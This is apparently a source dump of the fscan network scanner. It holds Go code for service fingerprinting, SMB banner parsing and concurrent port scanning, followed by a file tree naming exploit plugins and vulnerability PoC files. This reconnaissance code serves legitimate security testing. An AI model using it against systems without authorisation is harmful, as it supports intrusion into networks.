extras.DeviceType = parseField("设备类型", " d")
// 特殊处理CPE
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
for _, pattern := range cpePatterns {
regex := regexp.MustCompile(pattern)
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
if len(cpeName) > 1 {
extras.CPE = cpeName[1]
} else {
extras.CPE = cpeName[0]
}
Common.LogDebug("解析到CPE: " + extras.CPE)
break
}
}
}
return extras
}
// ToMap 将 Extras 转换为 map[string]string
func (e *Extras) ToMap() map[string]string {
Common.LogDebug("开始转换Extras为Map")
result := make(map[string]string)
// 定义字段映射
fields := map[string]string{
"vendor_product": e.VendorProduct,
"version": e.Version,
"info": e.Info,
"hostname": e.Hostname,
"os": e.OperatingSystem,
"device_type": e.DeviceType,
"cpe": e.CPE,
}
// 添加非空字段到结果map
for key, value := range fields {
if value != "" {
result[key] = value
Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
}
}
Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
return result
}
func DecodeData(s string) ([]byte, error) {
if len(s) == 0 {
Common.LogDebug("输入数据为空")
return nil, fmt.Errorf("empty input")
}
Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
sByteOrigin := []byte(s)
// 处理十六进制、八进制和结构化转义序列
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte {
// 处理十六进制转义
if isHexCode(match) {
hexNum := match[2:]
byteNum, err := strconv.ParseInt(string(hexNum), 16, 32)
if err != nil {
return match
}
return []byte{uint8(byteNum)}
}
// 处理结构化转义字符
if isStructCode(match) {
structCodeMap := map[int][]byte{
97: []byte{0x07}, // \a 响铃
102: []byte{0x0c}, // \f 换页
116: []byte{0x09}, // \t 制表符
110: []byte{0x0a}, // \n 换行
114: []byte{0x0d}, // \r 回车
118: []byte{0x0b}, // \v 垂直制表符
}
if replace, ok := structCodeMap[int(match[1])]; ok {
return replace
}
return match
}
// 处理八进制转义
if isOctalCode(match) {
octalNum := match[2:]
byteNum, err := strconv.ParseInt(string(octalNum), 8, 32)
if err != nil {
return match
}
return []byte{uint8(byteNum)}
}
Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
return match
})
// 处理其他转义序列
matchRe2 := regexp.MustCompile(`\\([^\\])`)
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte {
if len(match) < 2 {
return match
}
if isOtherEscapeCode(match) {
return []byte{match[1]}
}
return match
})
if len(sByteDec2) == 0 {
Common.LogDebug("解码后数据为空")
return nil, fmt.Errorf("decoded data is empty")
}
Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
return sByteDec2, nil
}
// GetAddress 获取目标的完整地址(IP:端口)
func (t *Target) GetAddress() string {
addr := t.IP + ":" + strconv.Itoa(t.Port)
Common.LogDebug("获取目标地址: " + addr)
return addr
}
// trimBanner 处理和清理横幅数据
func trimBanner(buf []byte) string {
Common.LogDebug("开始处理横幅数据")
bufStr := string(buf)
// 特殊处理SMB协议
if strings.Contains(bufStr, "SMB") {
banner := hex.EncodeToString(buf)
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
Common.LogDebug("检测到SMB协议数据")
plain := banner[0xa2:]
data, err := hex.DecodeString(plain)
if err != nil {
Common.LogDebug("SMB数据解码失败: " + err.Error())
return bufStr
}
// 解析domain
var domain string
var index int
for i, s := range data {
if s != 0 {
domain += string(s)
} else if i+1 < len(data) && data[i+1] == 0 {
index = i + 2
break
}
}
// 解析hostname
var hostname string
remainData := data[index:]
for i, h := range remainData {
if h != 0 {
hostname += string(h)
}
if i+1 < len(remainData) && remainData[i+1] == 0 {
break
}
}
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
Common.LogDebug("SMB横幅: " + smbBanner)
return smbBanner
}
}
// 处理常规数据
var src string
for _, ch := range bufStr {
if ch > 32 && ch < 125 {
src += string(ch)
} else {
src += " "
}
}
// 清理多余空白
re := regexp.MustCompile(`\s{2,}`)
src = re.ReplaceAllString(src, ".")
result := strings.TrimSpace(src)
Common.LogDebug("处理后的横幅: " + result)
return result
}
// Init 初始化VScan对象
func (v *VScan) Init() {
Common.LogDebug("开始初始化VScan")
v.parseProbesFromContent(ProbeString)
v.parseProbesToMapKName()
v.SetusedProbes()
Common.LogDebug("VScan初始化完成")
}
================================================
FILE: Core/PortInfo.go
================================================
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"net"
"strings"
"time"
)
// ServiceInfo 定义服务识别的结果信息
type ServiceInfo struct {
Name string // 服务名称,如 http、ssh 等
Banner string // 服务返回的横幅信息
Version string // 服务版本号
Extras map[string]string // 其他额外信息,如操作系统、产品名等
}
// Result 定义单次探测的结果
type Result struct {
Service Service // 识别出的服务信息
Banner string // 服务横幅
Extras map[string]string // 额外信息
Send []byte // 发送的探测数据
Recv []byte // 接收到的响应数据
}
// Service 定义服务的基本信息
type Service struct {
Name string // 服务名称
Extras map[string]string // 服务的额外属性
}
// Info 定义单个端口探测的上下文信息
type Info struct {
Address string // 目标IP地址
Port int // 目标端口
Conn net.Conn // 网络连接
Result Result // 探测结果
Found bool // 是否成功识别服务
}
// PortInfoScanner 定义端口服务识别器
type PortInfoScanner struct {
Address string // 目标IP地址
Port int // 目标端口
Conn net.Conn // 网络连接
Timeout time.Duration // 超时时间
info *Info // 探测上下文
}
// 预定义的基础探测器
var (
null = new(Probe) // 空探测器,用于基本协议识别
common = new(Probe) // 通用探测器,用于常见服务识别
)
// NewPortInfoScanner 创建新的端口服务识别器实例
func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner {
return &PortInfoScanner{
Address: addr,
Port: port,
Conn: conn,
Timeout: timeout,
info: &Info{
Address: addr,
Port: port,
Conn: conn,
Result: Result{
Service: Service{},
},
},
}
}
// Identify 执行服务识别,返回识别结果
func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
s.info.PortInfo()
// 构造返回结果
serviceInfo := &ServiceInfo{
Name: s.info.Result.Service.Name,
Banner: s.info.Result.Banner,
Version: s.info.Result.Service.Extras["version"],
Extras: make(map[string]string),
}
// 复制额外信息
for k, v := range s.info.Result.Service.Extras {
serviceInfo.Extras[k] = v
}
Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
return serviceInfo, nil
}
// PortInfo 执行端口服务识别的主要逻辑
func (i *Info) PortInfo() {
// 1. 首先尝试读取服务的初始响应
if response, err := i.Read(); err == nil && len(response) > 0 {
Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
// 使用基础探测器检查响应
Common.LogDebug("尝试使用基础探测器(null/common)检查响应")
if i.tryProbes(response, []*Probe{null, common}) {
Common.LogDebug("基础探测器匹配成功")
return
}
Common.LogDebug("基础探测器未匹配")
} else if err != nil {
Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
}
// 记录已使用的探测器,避免重复使用
usedProbes := make(map[string]struct{})
// 2. 尝试使用端口专用探测器
Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
if i.processPortMapProbes(usedProbes) {
Common.LogDebug("端口专用探测器匹配成功")
return
}
Common.LogDebug("端口专用探测器未匹配")
// 3. 使用默认探测器列表
Common.LogDebug("尝试使用默认探测器列表")
if i.processDefaultProbes(usedProbes) {
Common.LogDebug("默认探测器匹配成功")
return
}
Common.LogDebug("默认探测器未匹配")
// 4. 如果所有探测都失败,标记为未知服务
if strings.TrimSpace(i.Result.Service.Name) == "" {
Common.LogDebug("未识别出服务,标记为 unknown")
i.Result.Service.Name = "unknown"
}
}
// tryProbes 尝试使用指定的探测器列表检查响应
func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
for _, probe := range probes {
Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
i.GetInfo(response, probe)
if i.Found {
Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
return true
}
}
return false
}
// processPortMapProbes 处理端口映射中的专用探测器
func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
// 检查是否存在端口专用探测器
if len(Common.PortMap[i.Port]) == 0 {
Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
return false
}
// 遍历端口专用探测器
for _, name := range Common.PortMap[i.Port] {
Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
usedProbes[name] = struct{}{}
probe := v.ProbesMapKName[name]
// 解码探测数据
probeData, err := DecodeData(probe.Data)
if err != nil || len(probeData) == 0 {
Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
continue
}
// 发送探测数据并获取响应
Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
if response := i.Connect(probeData); len(response) > 0 {
Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
// 使用当前探测器检查响应
i.GetInfo(response, &probe)
if i.Found {
return true
}
// 根据探测器类型进行额外检查
switch name {
case "GenericLines":
if i.tryProbes(response, []*Probe{null}) {
return true
}
case "NULL":
continue
default:
if i.tryProbes(response, []*Probe{common}) {
return true
}
}
}
}
return false
}
// processDefaultProbes 处理默认探测器列表
func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
failCount := 0
const maxFailures = 10 // 最大失败次数
// 遍历默认探测器列表
for _, name := range Common.DefaultMap {
// 跳过已使用的探测器
if _, used := usedProbes[name]; used {
continue
}
probe := v.ProbesMapKName[name]
probeData, err := DecodeData(probe.Data)
if err != nil || len(probeData) == 0 {
continue
}
// 发送探测数据并获取响应
response := i.Connect(probeData)
if len(response) == 0 {
failCount++
if failCount > maxFailures {
return false
}
continue
}
// 使用当前探测器检查响应
i.GetInfo(response, &probe)
if i.Found {
return true
}
// 根据探测器类型进行额外检查
switch name {
case "GenericLines":
if i.tryProbes(response, []*Probe{null}) {
return true
}
case "NULL":
continue
default:
if i.tryProbes(response, []*Probe{common}) {
return true
}
}
// 尝试使用端口映射中的其他探测器
if len(Common.PortMap[i.Port]) > 0 {
for _, mappedName := range Common.PortMap[i.Port] {
usedProbes[mappedName] = struct{}{}
mappedProbe := v.ProbesMapKName[mappedName]
i.GetInfo(response, &mappedProbe)
if i.Found {
return true
}
}
}
}
return false
}
// GetInfo 分析响应数据并提取服务信息
func (i *Info) GetInfo(response []byte, probe *Probe) {
Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
// 响应数据有效性检查
if len(response) <= 0 {
Common.LogDebug("响应数据为空")
return
}
result := &i.Result
var (
softMatch Match
softFound bool
)
// 处理主要匹配规则
Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
if matched, match := i.processMatches(response, probe.Matchs); matched {
Common.LogDebug("找到硬匹配")
return
} else if match != nil {
Common.LogDebug("找到软匹配")
softFound = true
softMatch = *match
}
// 处理回退匹配规则
if probe.Fallback != "" {
Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok {
if matched, match := i.processMatches(response, fbProbe.Matchs); matched {
Common.LogDebug("回退匹配成功")
return
} else if match != nil {
Common.LogDebug("找到回退软匹配")
softFound = true
softMatch = *match
}
}
}
// 处理未找到匹配的情况
if !i.Found {
Common.LogDebug("未找到硬匹配,处理未匹配情况")
i.handleNoMatch(response, result, softFound, softMatch)
}
}
// processMatches 处理匹配规则集
func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) {
Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
var softMatch *Match
for _, match := range *matches {
if !match.MatchPattern(response) {
continue
}
if !match.IsSoft {
Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
i.handleHardMatch(response, &match)
return true, nil
} else if softMatch == nil {
Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
tmpMatch := match
softMatch = &tmpMatch
}
}
return false, softMatch
}
// handleHardMatch 处理硬匹配结果
func (i *Info) handleHardMatch(response []byte, match *Match) {
Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
result := &i.Result
extras := match.ParseVersionInfo(response)
extrasMap := extras.ToMap()
result.Service.Name = match.Service
result.Extras = extrasMap
result.Banner = trimBanner(response)
result.Service.Extras = extrasMap
// 特殊处理 microsoft-ds 服务
if result.Service.Name == "microsoft-ds" {
Common.LogDebug("特殊处理 microsoft-ds 服务")
result.Service.Extras["hostname"] = result.Banner
}
i.Found = true
Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
}
// handleNoMatch 处理未找到匹配的情况
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
Common.LogDebug("处理未匹配情况")
result.Banner = trimBanner(response)
if !softFound {
// 尝试识别 HTTP 服务
if strings.Contains(result.Banner, "HTTP/") ||
strings.Contains(result.Banner, "html") {
Common.LogDebug("识别为HTTP服务")
result.Service.Name = "http"
} else {
Common.LogDebug("未知服务")
result.Service.Name = "unknown"
}
} else {
Common.LogDebug("使用软匹配结果")
extras := softMatch.ParseVersionInfo(response)
result.Service.Extras = extras.ToMap()
result.Service.Name = softMatch.Service
i.Found = true
Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
}
}
// Connect 发送数据并获取响应
func (i *Info) Connect(msg []byte) []byte {
i.Write(msg)
reply, _ := i.Read()
return reply
}
const WrTimeout = 5 // 默认读写超时时间(秒)
// Write 写入数据到连接
func (i *Info) Write(msg []byte) error {
if i.Conn == nil {
return nil
}
// 设置写入超时
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
// 写入数据
_, err := i.Conn.Write(msg)
if err != nil && strings.Contains(err.Error(), "close") {
i.Conn.Close()
// 连接关闭时重试
i.Conn, err = net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
if err == nil {
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
_, err = i.Conn.Write(msg)
}
}
// 记录发送的数据
if err == nil {
i.Result.Send = msg
}
return err
}
// Read 从连接读取响应
func (i *Info) Read() ([]byte, error) {
if i.Conn == nil {
return nil, nil
}
// 设置读取超时
i.Conn.SetReadDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
// 读取数据
result, err := readFromConn(i.Conn)
if err != nil && strings.Contains(err.Error(), "close") {
return result, err
}
// 记录接收到的数据
if len(result) > 0 {
i.Result.Recv = result
}
return result, err
}
// readFromConn 从连接读取数据的辅助函数
func readFromConn(conn net.Conn) ([]byte, error) {
size := 2 * 1024 // 读取缓冲区大小
var result []byte
for {
buf := make([]byte, size)
count, err := conn.Read(buf)
if count > 0 {
result = append(result, buf[:count]...)
}
if err != nil {
if len(result) > 0 {
return result, nil
}
if err == io.EOF {
return result, nil
}
return result, err
}
if count < size {
return result, nil
}
}
}
================================================
FILE: Core/PortScan.go
================================================
package Core
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/sync/errgroup"
"golang.org/x/sync/semaphore"
"net"
"strings"
"sync"
"sync/atomic"
"time"
)
// EnhancedPortScan 高性能端口扫描函数
func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
// 解析端口和排除端口
portList := Common.ParsePort(ports)
if len(portList) == 0 {
Common.LogError("无效端口: " + ports)
return nil
}
exclude := make(map[int]struct{})
for _, p := range Common.ParsePort(Common.ExcludePorts) {
exclude[p] = struct{}{}
}
// 初始化并发控制
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
to := time.Duration(timeout) * time.Second
sem := semaphore.NewWeighted(int64(Common.ThreadNum))
var count int64
var aliveMap sync.Map
g, ctx := errgroup.WithContext(ctx)
// 并发扫描所有目标
for _, host := range hosts {
for _, port := range portList {
if _, excluded := exclude[port]; excluded {
continue
}
host, port := host, port // 捕获循环变量
addr := fmt.Sprintf("%s:%d", host, port)
if err := sem.Acquire(ctx, 1); err != nil {
break
}
g.Go(func() error {
defer sem.Release(1)
// 连接测试
conn, err := net.DialTimeout("tcp", addr, to)
if err != nil {
return nil
}
defer conn.Close()
// 记录开放端口
atomic.AddInt64(&count, 1)
aliveMap.Store(addr, struct{}{})
Common.LogInfo("端口开放 " + addr)
Common.SaveResult(&Common.ScanResult{
Time: time.Now(), Type: Common.PORT, Target: host,
Status: "open", Details: map[string]interface{}{"port": port},
})
// 服务识别
if Common.EnableFingerprint {
if info, err := NewPortInfoScanner(host, port, conn, to).Identify(); err == nil {
// 构建结果详情
details := map[string]interface{}{"port": port, "service": info.Name}
if info.Version != "" {
details["version"] = info.Version
}
// 处理额外信息
for k, v := range info.Extras {
if v == "" {
continue
}
switch k {
case "vendor_product":
details["product"] = v
case "os", "info":
details[k] = v
}
}
if len(info.Banner) > 0 {
details["banner"] = strings.TrimSpace(info.Banner)
}
// 保存服务结果
Common.SaveResult(&Common.ScanResult{
Time: time.Now(), Type: Common.SERVICE, Target: host,
Status: "identified", Details: details,
})
// 记录服务信息
var sb strings.Builder
sb.WriteString("服务识别 " + addr + " => ")
if info.Name != "unknown" {
sb.WriteString("[" + info.Name + "]")
}
if info.Version != "" {
sb.WriteString(" 版本:" + info.Version)
}
for k, v := range info.Extras {
if v == "" {
continue
}
switch k {
case "vendor_product":
sb.WriteString(" 产品:" + v)
case "os":
sb.WriteString(" 系统:" + v)
case "info":
sb.WriteString(" 信息:" + v)
}
}
if len(info.Banner) > 0 && len(info.Banner) < 100 {
sb.WriteString(" Banner:[" + strings.TrimSpace(info.Banner) + "]")
}
Common.LogInfo(sb.String())
}
}
return nil
})
}
}
_ = g.Wait()
// 收集结果
var aliveAddrs []string
aliveMap.Range(func(key, _ interface{}) bool {
aliveAddrs = append(aliveAddrs, key.(string))
return true
})
Common.LogBase(fmt.Sprintf("扫描完成, 发现 %d 个开放端口", count))
return aliveAddrs
}
================================================
FILE: Core/Registry.go
================================================
package Core
import (
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/Plugins"
"sort"
)
// init 初始化并注册所有扫描插件
// 包括标准端口服务扫描、特殊扫描类型和本地信息收集等
func init() {
// 1. 标准网络服务扫描插件
// 文件传输和远程访问服务
Common.RegisterPlugin("ftp", Common.ScanPlugin{
Name: "FTP",
Ports: []int{21},
ScanFunc: Plugins.FtpScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("ssh", Common.ScanPlugin{
Name: "SSH",
Ports: []int{22, 2222},
ScanFunc: Plugins.SshS
gitextract_35esngf3/ ├── .github/ │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.yml │ │ ├── config.yml │ │ ├── false_positive.yml │ │ ├── feature_request.yml │ │ └── plugin_request.yml │ ├── conf/ │ │ └── .goreleaser.yml │ └── workflows/ │ ├── release.yml │ └── test-build.yml ├── .gitignore ├── Common/ │ ├── Config.go │ ├── Flag.go │ ├── Log.go │ ├── Output.go │ ├── Parse.go │ ├── ParseIP.go │ ├── ParsePort.go │ ├── Ports.go │ ├── Proxy.go │ ├── Types.go │ └── i18n.go ├── Core/ │ ├── ICMP.go │ ├── LocalScanner.go │ ├── PluginUtils.go │ ├── PortFinger.go │ ├── PortInfo.go │ ├── PortScan.go │ ├── Registry.go │ ├── Scanner.go │ ├── ServiceScanner.go │ ├── WebScanner.go │ └── nmap-service-probes.txt ├── LICENSE.txt ├── Plugins/ │ ├── ActiveMQ.go │ ├── Base.go │ ├── Cassandra.go │ ├── DCInfo.go │ ├── DCInfoUnix.go │ ├── Elasticsearch.go │ ├── FTP.go │ ├── FindNet.go │ ├── IMAP.go │ ├── Kafka.go │ ├── LDAP.go │ ├── LocalInfo.go │ ├── MS17010-Exp.go │ ├── MS17010.go │ ├── MSSQL.go │ ├── Memcached.go │ ├── MiniDump.go │ ├── MiniDumpUnix.go │ ├── Modbus.go │ ├── Mongodb.go │ ├── MySQL.go │ ├── Neo4j.go │ ├── NetBIOS.go │ ├── Oracle.go │ ├── POP3.go │ ├── Postgres.go │ ├── RDP.go │ ├── RabbitMQ.go │ ├── Redis.go │ ├── Rsync.go │ ├── SMB.go │ ├── SMB2.go │ ├── SMTP.go │ ├── SNMP.go │ ├── SSH.go │ ├── SmbGhost.go │ ├── Telnet.go │ ├── VNC.go │ ├── WebPoc.go │ └── WebTitle.go ├── README.md ├── README_EN.md ├── TestDocker/ │ ├── ActiveMQ/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ ├── activemq.xml │ │ └── users.properties │ ├── Cassandra/ │ │ └── README.txt │ ├── Elasticsearch/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── FTP/ │ │ └── README.txt │ ├── IMAP/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── Kafka/ │ │ ├── README.txt │ │ ├── docker-compose.yml │ │ └── kafka_jaas.conf │ ├── LDAP/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ └── bootstrap.ldif │ ├── MSSQL/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── Memcached/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── Modbus/ │ │ └── README.txt │ ├── Mongodb/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── MySQL/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ └── my.cnf │ ├── Neo4j/ │ │ ├── Dockerfile │ │ └── docker-compose.yml │ ├── Oracle/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── POP3/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── Postgre/ │ │ ├── Dockerfile │ │ └── README.md │ ├── RabbitMQ/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── Redis/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ └── redis.conf │ ├── Rsync/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── SMTP/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ └── start.sh │ ├── SNMP/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── SSH/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── Telnet/ │ │ ├── Dockerfile │ │ └── README.md │ ├── Tomcat/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ ├── context.xml │ │ └── tomcat-users.xml │ ├── VNC/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ └── supervisord.conf │ ├── Weblogic/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ ├── create-domain.py │ │ └── start.sh │ └── Zabbix/ │ └── docker-compose.yml ├── WebScan/ │ ├── InfoScan.go │ ├── WebScan.go │ ├── info/ │ │ └── Rules.go │ ├── lib/ │ │ ├── Check.go │ │ ├── Client.go │ │ ├── Eval.go │ │ ├── Shiro.go │ │ ├── http.pb.go │ │ └── http.proto │ └── pocs/ │ ├── 74cms-sqli-1.yml │ ├── 74cms-sqli-2.yml │ ├── 74cms-sqli.yml │ ├── CVE-2017-7504-Jboss-serialization-RCE.yml │ ├── CVE-2022-22947.yml │ ├── CVE-2022-22954-VMware-RCE.yml │ ├── CVE-2022-26134.yml │ ├── Hotel-Internet-Manage-RCE.yml │ ├── Struts2-062-cve-2021-31805-rce.yml │ ├── active-directory-certsrv-detect.yml │ ├── activemq-cve-2016-3088.yml │ ├── activemq-default-password.yml │ ├── airflow-unauth.yml │ ├── alibaba-canal-default-password.yml │ ├── alibaba-canal-info-leak.yml │ ├── alibaba-nacos-v1-auth-bypass.yml │ ├── alibaba-nacos.yml │ ├── amtt-hiboss-server-ping-rce.yml │ ├── apache-ambari-default-password.yml │ ├── apache-axis-webservice-detect.yml │ ├── apache-druid-cve-2021-36749.yml │ ├── apache-flink-upload-rce.yml │ ├── apache-httpd-cve-2021-40438-ssrf.yml │ ├── apache-httpd-cve-2021-41773-path-traversal.yml │ ├── apache-httpd-cve-2021-41773-rce.yml │ ├── apache-kylin-unauth-cve-2020-13937.yml │ ├── apache-nifi-api-unauthorized-access.yml │ ├── apache-ofbiz-cve-2018-8033-xxe.yml │ ├── apache-ofbiz-cve-2020-9496-xml-deserialization.yml │ ├── aspcms-backend-leak.yml │ ├── backup-file.yml │ ├── bash-cve-2014-6271.yml │ ├── bt742-pma-unauthorized-access.yml │ ├── cacti-weathermap-file-write.yml │ ├── chinaunicom-modem-default-password.yml │ ├── cisco-cve-2020-3452-readfile.yml │ ├── citrix-cve-2019-19781-path-traversal.yml │ ├── citrix-cve-2020-8191-xss.yml │ ├── citrix-cve-2020-8193-unauthorized.yml │ ├── citrix-xenmobile-cve-2020-8209.yml │ ├── coldfusion-cve-2010-2861-lfi.yml │ ├── confluence-cve-2015-8399.yml │ ├── confluence-cve-2019-3396-lfi.yml │ ├── confluence-cve-2021-26084.yml │ ├── confluence-cve-2021-26085-arbitrary-file-read.yml │ ├── consul-rexec-rce.yml │ ├── consul-service-rce.yml │ ├── coremail-cnvd-2019-16798.yml │ ├── couchcms-cve-2018-7662.yml │ ├── couchdb-cve-2017-12635.yml │ ├── couchdb-unauth.yml │ ├── craftcms-seomatic-cve-2020-9757-rce.yml │ ├── datang-ac-default-password-cnvd-2021-04128.yml │ ├── dedecms-carbuyaction-fileinclude.yml │ ├── dedecms-cve-2018-6910.yml │ ├── dedecms-cve-2018-7700-rce.yml │ ├── dedecms-guestbook-sqli.yml │ ├── dedecms-membergroup-sqli.yml │ ├── dedecms-url-redirection.yml │ ├── discuz-ml3x-cnvd-2019-22239.yml │ ├── discuz-v72-sqli.yml │ ├── discuz-wechat-plugins-unauth.yml │ ├── discuz-wooyun-2010-080723.yml │ ├── django-CVE-2018-14574.yml │ ├── dlink-850l-info-leak.yml │ ├── dlink-cve-2019-16920-rce.yml │ ├── dlink-cve-2019-17506.yml │ ├── dlink-cve-2020-25078-account-disclosure.yml │ ├── dlink-cve-2020-9376-dump-credentials.yml │ ├── dlink-dsl-2888a-rce.yml │ ├── docker-api-unauthorized-rce.yml │ ├── docker-registry-api-unauth.yml │ ├── dotnetcms-sqli.yml │ ├── draytek-cve-2020-8515.yml │ ├── druid-monitor-unauth.yml │ ├── drupal-cve-2014-3704-sqli.yml │ ├── drupal-cve-2018-7600-rce.yml │ ├── drupal-cve-2019-6340.yml │ ├── dubbo-admin-default-password.yml │ ├── duomicms-sqli.yml │ ├── dvr-cve-2018-9995.yml │ ├── e-office-v10-sql-inject.yml │ ├── e-office-v9-upload-cnvd-2021-49104.yml │ ├── e-zkeco-cnvd-2020-57264-read-file.yml │ ├── ecology-arbitrary-file-upload.yml │ ├── ecology-filedownload-directory-traversal.yml │ ├── ecology-javabeanshell-rce.yml │ ├── ecology-springframework-directory-traversal.yml │ ├── ecology-syncuserinfo-sqli.yml │ ├── ecology-v8-sqli.yml │ ├── ecology-validate-sqli.yml │ ├── ecology-workflowcentertreedata-sqli.yml │ ├── ecology-workflowservicexml.yml │ ├── ecshop-cnvd-2020-58823-sqli.yml │ ├── ecshop-collection-list-sqli.yml │ ├── ecshop-login-sqli.yml │ ├── ecshop-rce.yml │ ├── eea-info-leak-cnvd-2021-10543.yml │ ├── elasticsearch-cve-2014-3120.yml │ ├── elasticsearch-cve-2015-1427.yml │ ├── elasticsearch-cve-2015-3337-lfi.yml │ ├── elasticsearch-cve-2015-5531.yml │ ├── elasticsearch-unauth.yml │ ├── etcd-unauth.yml │ ├── etcd-v3-unauth.yml │ ├── etouch-v2-sqli.yml │ ├── exchange-cve-2021-26855-ssrf.yml │ ├── eyou-rce.yml │ ├── ezoffice-dpwnloadhttp.jsp-filedownload.yml │ ├── f5-cve-2021-22986.yml │ ├── f5-cve-2022-1388.yml │ ├── f5-tmui-cve-2020-5902-rce.yml │ ├── fangweicms-sqli.yml │ ├── fckeditor-info.yml │ ├── feifeicms-lfr.yml │ ├── finecms-sqli.yml │ ├── finereport-directory-traversal.yml │ ├── finereport-v8-arbitrary-file-read.yml │ ├── flexpaper-cve-2018-11686.yml │ ├── flink-jobmanager-cve-2020-17519-lfi.yml │ ├── fortigate-cve-2018-13379-readfile.yml │ ├── frp-dashboard-unauth.yml │ ├── gateone-cve-2020-35736.yml │ ├── gilacms-cve-2020-5515.yml │ ├── gitlab-graphql-info-leak-cve-2020-26413.yml │ ├── gitlab-ssrf-cve-2021-22214.yml │ ├── gitlist-rce-cve-2018-1000533.yml │ ├── glassfish-cve-2017-1000028-lfi.yml │ ├── go-pprof-leak.yml │ ├── gocd-cve-2021-43287.yml │ ├── h2-database-web-console-unauthorized-access.yml │ ├── h3c-imc-rce.yml │ ├── h3c-secparh-any-user-login.yml │ ├── h5s-video-platform-cnvd-2020-67113-unauth.yml │ ├── hadoop-yarn-unauth.yml │ ├── hanming-video-conferencing-file-read.yml │ ├── harbor-cve-2019-16097.yml │ ├── hikvision-cve-2017-7921.yml │ ├── hikvision-gateway-data-file-read.yml │ ├── hikvision-info-leak.yml │ ├── hikvision-intercom-service-default-password.yml │ ├── hikvision-showfile-file-read.yml │ ├── hikvision-unauthenticated-rce-cve-2021-36260.yml │ ├── hjtcloud-arbitrary-fileread.yml │ ├── hjtcloud-directory-file-leak.yml │ ├── huawei-home-gateway-hg659-fileread.yml │ ├── ifw8-router-cve-2019-16313.yml │ ├── iis-put-getshell.yml │ ├── influxdb-unauth.yml │ ├── inspur-tscev4-cve-2020-21224-rce.yml │ ├── 